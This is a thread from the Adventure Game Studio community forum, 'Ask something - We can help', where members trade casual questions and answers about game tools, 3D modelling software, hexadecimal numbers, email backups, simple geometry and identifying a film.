http://www.adventuregamestudio.co.uk/yabb/index.php?topic=38987.0

Is this it?
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Post by: RickJ on 17 Oct 2009, 03:41
Yea , that's it alright.  :-[  Wouldn't you know it I was searching for"Icon" instead of  "Logo"    :=  
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Post by: Vince Twelve on 17 Oct 2009, 06:57
Monkey, you're awesome!  That just cracked up my wife and daughter!
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Post by: ThreeOhFour on 17 Oct 2009, 07:25
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Edit: Also she is flying (levitating).  :o

(http://img96.imageshack.us/img96/5276/floaty.png)

Well... all the cool kids were doing photoshops  :-[....

I blame boredom  8).
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Post by: Shane 'ProgZmax' Stevens on 17 Oct 2009, 09:09
It's Yodette!

Judge me by my pink flowery hat, do you?  AS WELL YOU SHOULD NOT, for the force is my ally, and a powerful ally it is tee-hee!
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Post by: DrSlash on 21 Oct 2009, 16:31
I have a little question: when I've been adding my game to this website I have forgotten to enter game password. Now I'm not able to edit game information.  :'( What should I do?  ???
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Post by: Ali on 21 Oct 2009, 17:05
Could you ask that question in the form of a photoshopped picture of a cute child?

I'm able to edit my game without the password as long as I'm logged in to the forum - doesn't that work for you?
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Post by: DrSlash on 21 Oct 2009, 17:24
I'm able to edit my game without the password as long as I'm logged in to the forum - doesn't that work for you?
It looks like no. When I press "Update" there appears  inscription which says: "Invalid password."
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Post by: Ethan D on 21 Oct 2009, 19:15
Before you click on the link to edit your game does it show that you can leave a comment?  If it doesn't it means that it isn't registering that your logged in and there is a link at the bottom that you can click on.  This has happened to me many times.  If you CAN leave a comment and still can't edit your game then I have no idea whats wrong.

EDIT:  I looked at your profile and it doesn't list you as having any games you have worked on.  This means that you didn't list yourself as the first developer.  Only the person who is listed first on the list is able to edit it without a password.
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Post by: InCreator on 25 Nov 2009, 19:32
Okay, a question:

Where is country border?

I know where it is on land, from sea level to plane-reachable area (airspace).
But further? Is it still same country 400km under ground? Or outside atmosphere, in space?

If it's same country under ground, inside earth, how do borders go? Do they follow sphere shape of earth and get narrow near the middle of earth where they end? Like a top of a cone? In which case, are all countries neighbors with border in the middle point (earth's center)?

And if borders extend into outer space (though I don't believe this)...  do they go for infinity? So, planets technically cross different countries all the time while passing earth? Also... so we technically own everything (except for space covered by extension of independent areas such as oceans)?

This is driving me crazy.
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Post by: Crimson Wizard on 25 Nov 2009, 19:37
Where is country border?

I know where it is on land, from sea level to plane-reachable area (airspace).
But further? Is it still same country 400km under ground? Or outside atmosphere, in space?

As for atmosphere and space, there's certainly some limit, after which country's airspace is changed by "international" space, or something.


EDIT:
Quote from: http://en.wikipedia.org/wiki/Airspace
There is no international agreement on the vertical extent of sovereign airspace (the boundary between outer space— which is not subject to national jurisdiction— and national airspace), with suggestions ranging from about 30 km (the extent of the highest aircraft and balloons) to about 160 km (the lowest extent of short-term stable orbits). The Fédération Aéronautique Internationale has established the Kármán line, at an altitude of 100 km (62.1 miles), as the boundary between the Earth's atmosphere and the outer space, while the United States considers anyone who has flown above 50 miles (80 km) to be an astronaut; indeed descending space shuttles have flown closer than 80 km over other nations, such as Canada, without requesting permission first.[1] Nonetheless both the Kármán line and the US definition are merely working benchmarks, without any real legal authority over matters of national sovereignty.
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Post by: Bulbapuck on 25 Nov 2009, 22:52
Howdy-ho!
I have a little question: when I've been adding my game to this website I have forgotten to enter game password. Now I'm not able to edit game information.  :'( What should I do?  ???
I'm in a similar situation: I just created my first games page *here* (http://www.adventuregamestudio.co.uk/games.php?action=detail&id=1239). I misspelled the password and now I can't reproduce that error... The reason I want to change the games page is that I made another mistake in the "author" box, so now it doesn't even know that I'm the author.

Hence I can't change the page.

So what now? It sais that the admin can see the password, is Pumaman the Admin?

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Post by: Ryan Timoothy on 26 Nov 2009, 08:31
I don't believe this question warrants it's own thread, since I imagine there are only a hand full of applications that fit my needs.  So I figured I'd ask here.

What is a VERY EASY 3D Character Modeling Program? (Free or not)
I plan on making a few characters with basic detail, nothing too extreme.  Basic shadows, and texture mapping is all I need.  I don't have a lot of 3D experience.  The only 3D programs I've really played with are: Halflife Hammer editor, Rhinoceros 3D (a little), and Google Sketch.  I've never really touched any complex shapes much beyond rectangles, cylinders, etc.

Here's an image I found with pretty much the size and simplicity of a character I hope to create:
(http://www.inet2inet.com/RegUsers/Chars/Display-Anims/05-04-Anim.gif)
And if I had to touch up the frames in Photoshop, so be it.  I pretty much just need something that I can easily create walk cycles, or action scenes with.  It more than likely won't be limited to the Human skeleton, probably some funky aliens too.

It would be really cool if there was an ability to save the camera coordinates so that all the characters are on the same viewing angle.
Also I'm not 3D stupid, just inexperienced.  If it's an easy, worthwhile program, I wouldn't mind spending the time it takes to learn it.

(It's for my super secret project--and no, I'm not making some kind of warcraft or oblivion type game, even though the image resembles them)  ;D
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Post by: Anian on 26 Nov 2009, 11:28
Don't know about the camera thing, but I think that can be worked out with something like making a 3d rig - just some shapes put together so you know where you should put the camera and an X (or a dot) where the character will be - that way you know where to put the camera etc.

There's 3d Swift, it's a flash animator, but it's relativly easy to get to work with, though it doesn't have skeletal animation (at least I don't think the new versions still don't have it). It is in the non-free category.
There's Anim8or - this one is actually free and it uses cylinders and basic stuff like that. Haven't actually tried it but it looks okay. If you really aren't going for too much details and such, then it might be just the thing you're looking for. http://www.anim8or.com/main/index.html
And there's a bunch really beginner tutorials on their website, so it look easy to get into: http://www.anim8or.com/main/index.html
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Post by: Crimson Wizard on 26 Nov 2009, 14:56
Allright, here is the question I don't know whom to ask...

For those who ever played Arcanum of Magick and Steamworks Obscura, you may remember that the zeppelin you're flying in the introduction is called IFS "Zephyr". So what the hell "IFS" stand for?
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Post by: Anian on 26 Nov 2009, 15:17
Inflatable flying ship? ...just guessing.
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Post by: Synthetique on 28 Nov 2009, 09:50
I don't believe this question warrants it's own thread, since I imagine there are only a hand full of applications that fit my needs.  So I figured I'd ask here.

What is a VERY EASY 3D Character Modeling Program? (Free or not)
I plan on making a few characters with basic detail, nothing too extreme.  Basic shadows, and texture mapping is all I need.  I don't have a lot of 3D experience.  The only 3D programs I've really played with are: Halflife Hammer editor, Rhinoceros 3D (a little), and Google Sketch.  I've never really touched any complex shapes much beyond rectangles, cylinders, etc.

Try Zbrush. You can model, paint and rig to a skeleton for posing. The program can be very easy or very complex depending on what you want from it. The best thing about it imo is that the workflow is really fast and allows for my creativity to come to life without much setting up. There is a great community and lots of helpful tutorials on their site.

http://www.pixologic.com/home.php
http://www.pixologic.com/zclassroom/homeroom/
http://www.zbrushcentral.com/
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Post by: Ryan Timoothy on 28 Nov 2009, 23:14
Anian:  Anim8or seems pretty easy to use, but almost too simple. I don't think I'll be giving this one a go.

Synthetique: I don't think I've even heard of Zbrush.  It looks awesome, also quite simple to use.  I checked out every picture they had to promote the program (which there are hundreds and hundreds of images).  I'll definitely be downloading this to see if I like it or not.

Thanks.
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Post by: Synthetique on 30 Nov 2009, 13:48
I would like to store some character files so that people can download them. It's for the contribution thread. Does anyone know a good free host?
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Post by: Stupot on 30 Nov 2009, 15:50
My friend told me yesterday about a program he uses called Blender (http://"http://en.wikipedia.org/wiki/Blender_(software)").
It's freeware and he says he prefers it to Maya, which is used in Hollywood and costs thousands of Dollars.
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Post by: Ryan Timoothy on 01 Dec 2009, 06:26
I've heard of both Blender and Maya (and I've seen Maya in action), just haven't ever heard that Blender is better.

Anyway, I was bored today and wanted to make my first Zbrush dude.  I copied Simon's idea of a squid, the guy from the Pixologic website.  I didn't make it to copy him, I made it to experiment and learn.  And figured a squid with multiple tentacles would be the best place to start. :P

Here's my odd looking squid thing: http://www.bryvis.com/entertainment/other/agsf/first_zbrush.png
(Pretty lame, but good for a first real go at Zbrush-I'd say.  Took me an hour to make those eyeballs, and they suck! haha)

It's too bad there aren't any animation programs that you can create characters as easily as you can in Zbrush, and animate the limbs as easily as you can move Zspheres (but obviously with limb length limits).  At least I've never heard/seen of it.
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Post by: Synthetique on 01 Dec 2009, 13:15
Heheh that squid is pretty cool. ^^
You can animate in Zbrush but it's not like in other 3d programs. There's a tutorial on the forums called something like "animating using layers". Go check that out.
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Post by: MJL on 02 Dec 2009, 15:54
A random question for anyone from Norway... Do you live in Sadnes? I'm just trying to prove it's a small world...af...ter-all.
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Post by: Bror_Jon on 02 Dec 2009, 21:58
I'm not from Norway (close by though) but, why do you think they'd be sad?
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Post by: Andail on 03 Dec 2009, 08:55
Jon, please don't tell me that was an intentional pun...
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Post by: Stupot on 03 Dec 2009, 09:00
It's an international pun :)
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Post by: InCreator on 07 Dec 2009, 15:59
A question:

Why do people use hexadecimal? Especially when mentioning specifics about computer memory?
I understand the usage of binary, since it's the base of nature, but hex???

Does it have some crazy benefits or it's simply so because some nerd started to do so back in 70's?
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Post by: Babar on 07 Dec 2009, 16:21
I think it is because it is relatively easy to extrapolate the binary from a hexadecimal number, but it is much shorter. So instead of typing:

1101010100010001

I'd just say D511.

Whereas if I had said "Location 54,545", it would be understood, but harder to convert that back to binary.
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Post by: Crimson Wizard on 07 Dec 2009, 17:16
A question:

Why do people use hexadecimal? Especially when mentioning specifics about computer memory?
I understand the usage of binary, since it's the base of nature, but hex???

There are some interesting peculiarities of hex. I may not recall all of them right now, but take this example. A byte may contain an integer value from 0 to 255 inclusive. In hex it is 0 to FF. So, instead of using three digits and have a nonround number as max, you can use only 2 digits and number that looks like "round" one as max.
That may be the case some use hex to name colour hues, like 0xFF0000 is bright red (instead of 255-0-0) etc.
Futhermore, two bytes contain 0 to 65535 in decimals, but 0 to FFFF in hex. See? Round number again.
Same, four bytes contain 0 - 4294967295 in decimals and 0 to (you may guess that) FFFFFFFF in hex.

Another example is more programming-related. Hex is more convenient way to name some of the key binary values, like flags: these are values which have only single bit set as 1 and others as 0 (these are used widely for certain logical calculations).
In binary they are: 1, 10, 100, 1000, 10000, 1000000 and so forth. In hex they are 1, 2, 4, 8, 10, 20, 40, 80, 100 and so forth, but in decimal they are 1,2,4,8,16,32,64,128,256,512,1024, etc. As you may notice, hex numbers are much easier to remember than decimals.

Well, perhaps Babar explained all this simplier way :)
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I think it is because it is relatively easy to extrapolate the binary from a hexadecimal number
I just wanted to show some samples.
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Post by: Paper Carnival on 08 Dec 2009, 11:32
Nobody mentioned the reason it's so easy to convert to HEX from binary.

1011011111100011010

You simply split the binary number every four digits starting from right, then you convert each four digits to the corresponding hex number

101-1011-1111-0001-1010

5-B-F-1-A.

With minimal experience, you can instantly convert 4 binary digits to a hex number and vice-versa.
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Post by: Gudforby on 08 Dec 2009, 11:56
A random question for anyone from Norway... Do you live in Sadnes? I'm just trying to prove it's a small world...af...ter-all.

I'm from Norway, but I don't think there is a town here call Sadnes.. You might think of Sandnes?

Well, there goes the sad part...

Anywho... If you mean Sandnes, I live around 20 minutes from there...
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Post by: SSH on 08 Dec 2009, 12:37
I'm only 22 years old... in hex. That's another good reason to use it! Octal was used in the past for similar reasons, but doesn't fit quite so neatly for multiples of 4 binary digits, such as most computer addresses. However, its great for UNIX file permissions:

chmod 754 /somedir

Means: 111 101 100 and since each set of three is Read/Write/eXecute and then the sets are Owner, Group, World it concisely expresses a 9-bit value



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Post by: Gilbert on 08 Dec 2009, 14:13
I've never looked up for details, so the following are just what I understand from my experience:

I think the adoption of hexadecimal is just natural (obviously much more natural and mathematical than the denary system humans use most of the time, which is familiar to us mainly only because we were born with 10 fingers).

The smallest integral base for displaying numbers is 2 obviously, so binary representation of numbers is the basis of all basis, and since digital circuitries are just collections of on/off(logic) "switches" this is of high importance.

Of course, numbers displayed in binary are clumsy and inconvenient most of the time (except some cases like displaying flags), so we usually show numbers in certain bases that are easily converted to and from binary. In general, if the base is of the form 2^n the conversions are super easy, so leaving us with 2, 4, 8, 16, 32, 64, 128, 256, ... as possible bases.

Bases of 2 and 4 are obviously too clumsy for everyday use, and numbers displayed in base 32 and onward would require a large set of numerals (e.g. under base 32 you need 32 distinct symbols to represent a digit) and are inconvenient, so octal and hexadecimal representations of numbers are optimal.

Both octal numbers and hexadecimal numbers are widely used, but in many cases hexadecimal is preferred, because:
1. It takes 4 bits to represent a hexadecimal digit (16 = 2^4). In general it's more organised if the number of bits in a group is also an even power of 2 (4 = 2^2), compared to octal numbers where each digit composes of the odd 3 bits.
2. While for octal numbers you only need 8 distinct symbols in the set of numerals to display any number (i.e. we can just directly use 0-7 from the denary digits), you need 16 symbols in hexadecimal (most of the time we use the 0-9 denary digits together with the six Roman letters A-F). However, hexadecimal numbers are more compact that we never need to use more places to represent a number compared to it represented with our everyday denary system.
3. This is an extension of 2, as humans use denary numbers in their everyday life, it may be sometimes convenient (for our eyes) to just use a hexadecimal digit to display a denary digit, e.g. we use the hexadecimal number $99 to represent the denary 99. In fact, the 6502 family of CPUs had a BCD mode that, when set, would treat each byte as a denary 2-digit number and could do (only limited) decimal arithmetic directly. Few people really used this mode though (and when Nintendo and Ricoh cloned the 6502 core for their Famicom they even removed this ability, though from what I've heard this was mainly due to patents). This is not possible with octal numbers, as each digit can only be 0-7, which is not enough to represent a denary number directly.
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Post by: InCreator on 09 Dec 2009, 11:21
Ugh. This makes me dizzy.

But even while I don't see how using numbers that result in answer to a calculation instead of simple units (like hexadecimal F means base of something blah blah complex but decimal 10 means simply 10 apples or coins) useful in "real life", I think I understand how it's useful on paper (or rather - as digital data)... but, we don't use hexadecimal in everyday life anyway.

Still, I will die not fully understanding hexadecimal.
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Post by: bicilotti on 09 Dec 2009, 18:44
Ugh. This makes me dizzy.

But even while I don't see how using numbers that result in answer to a calculation instead of simple units (like hexadecimal F means base of something blah blah complex but decimal 10 means simply 10 apples or coins) useful in "real life", I think I understand how it's useful on paper (or rather - as digital data)... but, we don't use hexadecimal in everyday life anyway.

Still, I will die not fully understanding hexadecimal.

Just one quick thought on the base thing: 25 minutes + 40 minutes are... 1 hour and 5 minutes  :P

Bases different than 10 (or even something more complex, like day/hour/minute thing) are really just a matter of being used to.

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Post by: Scarab on 09 Dec 2009, 19:32

Just one quick thought on the base thing: 25 minutes + 40 minutes are... 1 hour and 5 minutes  :P

Bases different than 10 (or even something more complex, like day/hour/minute thing) are really just a matter of being used to.


Yeah, I always wondered what it would be like if we used a base-12 counting system. Fractions like 1/3, 1/4, 1/6 and 1/9 would become really nice, clean numbers and mental maths would become just that little bit easier.

Also, for us to develop this system naturally would likely mean six fingers on each hand, which would be interesting... ;D
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Post by: bicilotti on 09 Dec 2009, 19:53
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Yeah, I always wondered what it would be like if we used a base-12 counting system. Fractions like 1/3, 1/4, 1/6 and 1/9 would become really nice, clean numbers and mental maths would become just that little bit easier.

Also, for us to develop this system naturally would likely mean six fingers on each hand, which would be interesting... ;D

Duodecimal(sp) is pretty handy when it comes to divisions or plain quotients, since it has many divisors. Many "regional" units of measure use it for this simplicity (1 imperial foot = 12 inches, for example, or the italian dozzina), before decimalisation.
If modern and cheap calculating machines weren't available, I would be for sure an advocate of this numeral system as the main one.

Getting back on topic, here's the wiki page on the Suanpan (http://en.wikipedia.org/wiki/Suanpan). It's a very simple and elegant eastern abacus: when I was I kid I learned to use it for decimal calculations, but it can be used for hexadecimal calcs too.
It seems that chinese weighting units were hexadecimal at the time, so their abacus was built that way.
I still don't know why they chose hex over duodecimal, since the latter has a 3 divisor as a bonus.
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Post by: InCreator on 10 Dec 2009, 07:43
Just one quick thought on the base thing: 25 minutes + 40 minutes are... 1 hour and 5 minutes  :P

Bases different than 10 (or even something more complex, like day/hour/minute thing) are really just a matter of being used to.

Matter of being used to - yes
Comfortable - no
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Post by: Gilbert on 10 Dec 2009, 13:43
It's because we're used to count in group in 10 when we're small (and our commonly used symbols). If we were born in a place that counting is done in another base it wouldn't be uncomfortable at all.
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Post by: Andail on 10 Dec 2009, 13:59
Many languages have up to twelve "original" names for numbers, and then start combining the name parts for 13 and upwards, which may indicate some sort of early idea of implementing a base 12 system.
If it wasn't for this fact, the "teens" would start at eleven...
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Post by: Jim Reed on 10 Dec 2009, 14:14
Wiki qoute:

"Most computers manipulate binary data, but it is difficult for humans to work with the large number of digits for even a relatively small binary number. Although most humans are familiar with the base 10 system, it is much easier to map binary to hexadecimal than to decimal because each hexadecimal digit maps to a whole number of bits."

I'd say this is why we use it, but it's just my opinion.
Also, Croatian doesn't have "original" names like eleven and twelve, but use 'teens for those numers instead. But, Croatian isn't many languages anyway =P.

Also, I'm looking for a very old Spectrum game, which revolves around two ships (a pirate and a french one) having a close combat fight. I can remember that the game is about two captains commanding their sailors across a net hung between theese two ships. The game is turn-based. If anyone can help me with this I'd be much obliged.
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Post by: MJL on 21 Dec 2009, 15:08
Yo! Sorry, a slightly mundane question:

What's the best way to back up all your Outlook emails?

I've had some PC issues...since I've ever had a PC...and I keep losing all of them :(

I feel more guilty now than ever because there were quite a few un-answered emails and I'm not sure if I will ever see those old emails again. If anyone has personal experience of this and can advise me on good practices to back up emails, whether I can retrieve certain old data from a server or what not, let me know! And many apologies if you emailed me recently. You'll never get a reply :( :P
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Post by: InCreator on 23 Dec 2009, 16:48
huh?

http://email.about.com/od/outlooktips/qt/Back_Up_or_Copy_Outlook_Data.htm

Also, fresh installs of Outlook tend to delete mail from server whenever received. I had quite a trouble with this: Checking work mail at home, seeing that I'd been sent some design drawings - and next day at work, there's no mail, no drawings, so I had to go back home and retrieve drawings!

There's a check button to "keep messages in server" but it's buried under loads and loads of "settings" and "advanced" window trees.
Shame on microsoft making this so retarded.

Question!

I see GIF files. 256-color, animated, from 1987.

It's 2010 soon. Where's a modern animated image format -- with 24-bit color and alpha channel?
Is there one? I mean, something usable, readable by any browser, etc?

If not, why???...!
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Post by: Crimson Wizard on 23 Dec 2009, 17:23
Question!

I see GIF files. 256-color, animated, from 1987.

It's 2010 soon. Where's a modern animated image format -- with 24-bit color and alpha channel?
Is there one? I mean, something usable, readable by any browser, etc?
Umm... flash video?  ;D
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Post by: Calin Leafshade on 23 Dec 2009, 17:34
MNG is the format youre looking for.. though it has yet to gain widespread use.

As an aside GIF images are capable of full colour.. They are not limited to 256 colours.
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Post by: InCreator on 23 Dec 2009, 21:24
Ok, thanks. I guess it's quite useless as wikipedia article describes it's failure to become important and lack of support. I was actually just wondering, why don't we still have something that's 10+ years late.

More serious question!

Is there something that creates connected vectors with endpoints, and I can link vectors-points and assign images to them so I have something to create animations simply?

I mean something exactly like SSH's walkcycle generator, but with more options and power?
Flash... feels a bit too complicated for such little task.
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Post by: Babar on 23 Dec 2009, 21:38
You could try MOHO.

http://www.lostmarble.com/

Ohwell...it appears it is called Anime Studio now. Should still be a breeze to work with, though. I still have an ancient copy of it.

It costs moneys, but it has a free evaluation (which I think leaves a watermark :( )
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Post by: InCreator on 23 Dec 2009, 22:06
Pity it has most anal way to get a trial, ever  :(

Edit: This program is absolutely awesome. thanks!
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Post by: Bulbapuck on 27 Dec 2009, 16:03
*Solved and removed due to taking up all that space :P*
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Post by: Dualnames on 27 Dec 2009, 16:25
Ok, thanks. I guess it's quite useless as wikipedia article describes it's failure to become important and lack of support. I was actually just wondering, why don't we still have something that's 10+ years late.

More serious question!

Is there something that creates connected vectors with endpoints, and I can link vectors-points and assign images to them so I have something to create animations simply?

I mean something exactly like SSH's walkcycle generator, but with more options and power?
Flash... feels a bit too complicated for such little task.

Steve and SSH, worked on something like that. Check the Thread about Walkcycle Generator there's a download link on page 5 if I recall.

EDIT:

Here..
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=26501.msg421043#msg421043
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Post by: Bulbapuck on 27 Dec 2009, 18:49
I'm sorry about double posting here... But the reason is that I'm at school and I can't go home until I finish this. And I'm getting hungry...

I added "pack();" at the end of the frame's constructor. Now the size isn't zero, but it's very small. Almost as if my "setSize" in the panel's constructor is being ignored.

Help!

EDIT: This is solved, need no help.
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Post by: Oliwerko on 01 Jan 2010, 20:26
Could anyone possibly tell me what keyboard synth is played in Phil Collins's "I don't care anymore" ?
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Post by: Stupot on 01 Jan 2010, 23:39
I'm not sure which bits are done on a keyboard and which aren't, but according to Wikipedia at least some of the synthesised parts are played on Moog Taurus Bass Pedals, using his hands...

Maybe not quite the info you're after, but interesting anyway :)
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Post by: Oliwerko on 02 Jan 2010, 09:56
I knew someone would mention it  ;D

Yeah, I know of that, that's particulary interesting providing it's a pedal synthesizer. That piece of info was quite easy to find, now only the keyboard sound in the beginning is missing.
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Post by: Ryan Timoothy on 09 Jan 2010, 23:43
A few months ago, perhaps longer, someone posted a 3D blue mug/cup for anyone in AGS to use.  Where did that go?  I can't seem to find it in the search.
Title: Re: Ask something - We can help.
Post by: Domino on 09 Jan 2010, 23:54
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36356.msg514714#msg514714

Is this what you wanted? Sorry, if it wasn't.

Shawn
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Post by: Ryan Timoothy on 09 Jan 2010, 23:59
lmao Didn't know it was already asked in this great thread.  Thanks Domino. ;D
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Post by: Crimson Wizard on 14 Jan 2010, 20:10
For those who ever worked in the office with cubicles (cubicle farm, I believe?).
Is it safe for not-so weightly person to lean over cubicle wall and peek into another guy's computer? Assuming this person has to grasp on cubicle wall.

I am planning a small scene in a game where girl does this while talking with the guy. How realistic is that.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 14 Jan 2010, 20:21
I've personally never worked or been in cubicle hell, but from what I've seen in movies and tv shows, they are pieced together quite well.
Cubicles (http://www.executivesuitemanagement.com/locations/park_meadows_highlands_ranch/pics/cubicles-for-rent.jpg)
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Post by: RickJ on 14 Jan 2010, 23:53
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Is it safe for not-so weightly person to lean over cubicle wall and peek into another guy's computer?
If you take a look at Crimson's exam[ple you will see that the walls are only about 5ft tall.  People stick their heads over top to chat with their co-workers all the time.   It would be unusual for someone to climb up and lean over at waist height however I believe it wouldn't be a problem for the wall to hold the weight.   if it were me I would have the character kneeling/standing  on a desk, box or something.
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Post by: Crimson Wizard on 15 Jan 2010, 00:58
If you take a look at Crimson's exam[ple
You mean Ryan's example, don't you :P

you will see that the walls are only about 5ft tall.  People stick their heads over top to chat with their co-workers all the time.   It would be unusual for someone to climb up and lean over at waist height however I believe it wouldn't be a problem for the wall to hold the weight.   if it were me I would have the character kneeling/standing  on a desk, box or something.
Well, my idea she is not just chatting, she wants to see computer display, while standing almost opposite to one's surface.
However idea of getting kneels to the desk sounds natural enough. But even then I believe person will apply some of its weight on cubicle wall when bending over.
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Post by: RickJ on 15 Jan 2010, 02:50
If you take a look at Crimson's exam[ple
You mean Ryan's example, don't you :P
Sorry being confused; I am just getting to be too old ;)  Hehehehe!  ;D

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Well, my idea she is not just chatting, she wants to see computer display, while standing almost opposite to one's surface.
However idea of getting kneels to the desk sounds natural enough. But even then I believe person will apply some of its weight on cubicle wall when bending over.
I don't think the weight is a problem at all.  It could be a bit of a puzzle for the player to find something for her to climb up on.  It could be a chair, trash bucket, or even standing on the desk.  I think something like that would work just fine.
Title: Re: Ask something - We can help.
Post by: Gilbert on 15 Jan 2010, 05:14
It could also relate to what kind of materials that were used to make the cubicle divisions and how they're mounted.

For example in this old style office I'm working at this particular second, we have old cupboards and wooden boards made to divide our working space, so there's either a board or a cupboard between each two adjacent seats. Some of these boards are actually hanging loose mounted just by a few screws on the tables or cupboards.

We had a co-worker here who actually broke two boards by leaning on them (in each case, one screw which held one side of the board on the table was broken, making the board hanging loosely at that end). These damages are never fixed and we just use some useless scotch tapes to stick the boards back on the table and have since been careful not to touch them again.

But I'll expect modern implementations with better materials and mounting could be more sturdy.

In other words, there is no definitive answer.
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Post by: Crimson Wizard on 15 Jan 2010, 10:28
Hehe, thanks for sharing experience, Gilbet.
RickJ, the whole thing happen during cutscene, it isnt a puzzle at all.
Anyway, I think I got enough answers to make a decision, thanks :)
Title: Re: Ask something - We can help.
Post by: Stupot on 15 Jan 2010, 13:59
Rather than trying to work out the physics of whether or not the cubicle would break... why not just get the character to take a chainsaw to it!
Title: Re: Ask something - We can help.
Post by: InCreator on 17 Jan 2010, 02:20
(http://www.indrek.org/i/vector.png)

How to find xy coordinates of C?

* C has to be exactly in the middle of points A and B
* A and B could be anywhere on a 2D plane
* distance between A and B is fixed

Sounds like REALLY simple school maths... is there easier way than
C(x) = (B(x)-A(x))/2 + A(x)
C(y) = (B(y)-A(y))/2 + A(y)
?

Especially when B and A could switch places?
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 17 Jan 2010, 02:42
It's:
(edit: an Image once went here..
I had linked an image from another website, but turns out I guess you can only view it if you're actually visiting or recently visited the site. the answer is below anyway. :P)
Title: Re: Ask something - We can help.
Post by: InCreator on 17 Jan 2010, 02:45
 ???
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 17 Jan 2010, 02:47
midpointX = ((A.x)+(B.x)) / 2
midpointY = ((A.y)+(B.y)) / 2

It's literally that simple. ;D
Title: Re: Ask something - We can help.
Post by: InCreator on 17 Jan 2010, 03:21
*facepalm*   ;D
Title: Re: Ask something - We can help.
Post by: Chicky on 20 Jan 2010, 11:37
Is there a very simple low poly modeling program that is compatible with intel mac and the character3D plugin?
Title: Re: Ask something - We can help.
Post by: Wyz on 22 Jan 2010, 00:19
You could give Wings3d (http://www.wings3d.com/) a try. It's something one either hates or loves. :P
Title: Re: Ask something - We can help.
Post by: bicilotti on 24 Jan 2010, 15:44
Ok, my turn.

I need a flashcard-like software. I don't know the exact word for what I'm searching actually, so let me explain with an example:

I'd like to have a software which prints on screen a sentence in a foreign language. Under it there's a form where I can type in the answer. Once I submit the sentence, a simple check is performed to see wheter the answer is correct or not.

I'd like to be able to add more sentences to the database / to have quizzes in both ways (from english to x-language and vice versa).

It seems easy enough to code in whatever-language-you-like, but it feels a waste of time if there's already something similar out there on the int3rnets.

Thanks in advance for nay help.
Title: Re: Ask something - We can help.
Post by: Wyz on 24 Jan 2010, 15:56
http://ichi2.net/anki/

next! ;)
Title: Re: Ask something - We can help.
Post by: bicilotti on 24 Jan 2010, 16:02
http://ichi2.net/anki/

next! ;)

Thanks Wyz, this is the usefullestestest^2 thread ever.
Title: Re: Ask something - We can help.
Post by: Atelier on 24 Jan 2010, 19:27
Just now the forums were down for me. It soon picked up again, but I was just wondering whether there is a back-up plan if, for some reason, the forums went down permanently?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 24 Jan 2010, 19:31
Just now the forums were down for me. It soon picked up again, but I was just wondering whether there is a back-up plan if, for some reason, the forums went down permanently?

Go to lookout point and flash your torch into the sky 3 times whilst wearing a single red rose in your lapel.

Someone will come for you.
Title: Re: Ask something - We can help.
Post by: InCreator on 25 Jan 2010, 09:07
Just now the forums were down for me. It soon picked up again, but I was just wondering whether there is a back-up plan if, for some reason, the forums went down permanently?

Yes, the wall on CJ's house. We gather there and write onto it. Moderators carry bucket of water and a soap.
Title: Re: Ask something - We can help.
Post by: Atelier on 25 Jan 2010, 09:46
But CJ told me off last time I wrote on his garden wall. It'll teach me to keep my distance next time... ::)

Joking of course. Although I love what you've done with your bedroom interior CJ.
Title: Re: Ask something - We can help.
Post by: InCreator on 25 Jan 2010, 14:58
But CJ told me off last time I wrote on his garden wall. It'll teach me to keep my distance next time... ::)

Joking of course. Although I love what you've done with your bedroom interior CJ.

That's because you were naked.  :-X
Title: Re: Ask something - We can help.
Post by: Atelier on 25 Jan 2010, 15:03
Edit for new message: How do I set the language that appears on my profile? I can see no field for it.
Title: Re: Ask something - We can help.
Post by: bicilotti on 07 Feb 2010, 14:57
Yet another question:

I'm lookin for an out of print book. Title is "100 Dictation exercises on the Thousand most-frequently used Words", written by Reginald Dutton.

I can't find it nowhere on the net. Is there a site where I can kind of place an "ad" (like "I'm searching for this and that") and can be contacted if someone has the item I'm interested into?
I'm sure someone's bound to have it, they just don't know I'm willing to buy it!
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Post by: MJL on 07 Feb 2010, 17:56
Another one to add to the list, PC & video related:

Video files won't upload on youtube. Not had this problem before. All other uploading procedures are fine, ie FTP uploads, uploading photos to facebook. Videos used to upload fine but now my connection will upload maybe a meg at most and then nothing more, and the bar will stay in the same place and the upload never completes.

What could be wrong? Is there some settings in "internet options" i should have on/off? And what about Windows Firewall? You can't list websites as exceptions so what should I be looking for? Many thanks
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Post by: Kweepa on 07 Feb 2010, 20:06
I'm lookin for an out of print book.
Amazingly, it's not available at abebooks.com, but you can "Place a Want" on that site and when a bookstore gets it they will let you know. Not quite what you asked for but it might work out.
Title: Re: Ask something - We can help.
Post by: bicilotti on 07 Feb 2010, 20:31
Not quite what you asked for but it might work out.

Done! Let's see if that helps!
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Post by: IndieBoy on 07 Feb 2010, 20:38
Another one to add to the list, PC & video related:

Video files won't upload on youtube. Not had this problem before. All other uploading procedures are fine, ie FTP uploads, uploading photos to facebook. Videos used to upload fine but now my connection will upload maybe a meg at most and then nothing more, and the bar will stay in the same place and the upload never completes.

What could be wrong? Is there some settings in "internet options" i should have on/off? And what about Windows Firewall? You can't list websites as exceptions so what should I be looking for? Many thanks
Youtube has been rather buggy the last couple of weeks because of a major update.
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Post by: Stupot on 12 Feb 2010, 20:40
I asked about this on page 8, so sorry if I'm repeating things, but the problem was never resolved and now I really need to get my iPod working.

So yeh, basically my laptop doesn't recognise my iPod.
I have iTunes, my iPod is formatted for Windows and I've tried everything the Apple support site has to offer.
It must be a problem with my computer (backed up by the fact that my mobile phone doesn't talk to my computer either).

Any ideas from a Windows point of view? As I'm pretty sure everything Apple-related has been tried andseems to be in order...
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Post by: Nikolas on 17 Feb 2010, 23:04
Quick question:

I remember a movie about angles attacking men, because God gave up on humans, so he's sending the angels to kill the woman to bear birth to humans' saviour. A fallen arch angel is fighting the ords of God.

What's the name of this movie please?
Title: Re: Ask something - We can help.
Post by: discordance on 17 Feb 2010, 23:08
Legion, perhaps? Just came out?
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Post by: GarageGothic on 17 Feb 2010, 23:15
Was Christopher Walken in it? It sounds a bit like The Prophecy/God's Army (http://en.wikipedia.org/wiki/The_Prophecy).
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Post by: Ryan Timoothy on 18 Feb 2010, 00:23
Yeah it's Legion.
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Post by: Stupot on 18 Feb 2010, 00:46
Sounds rubbish...
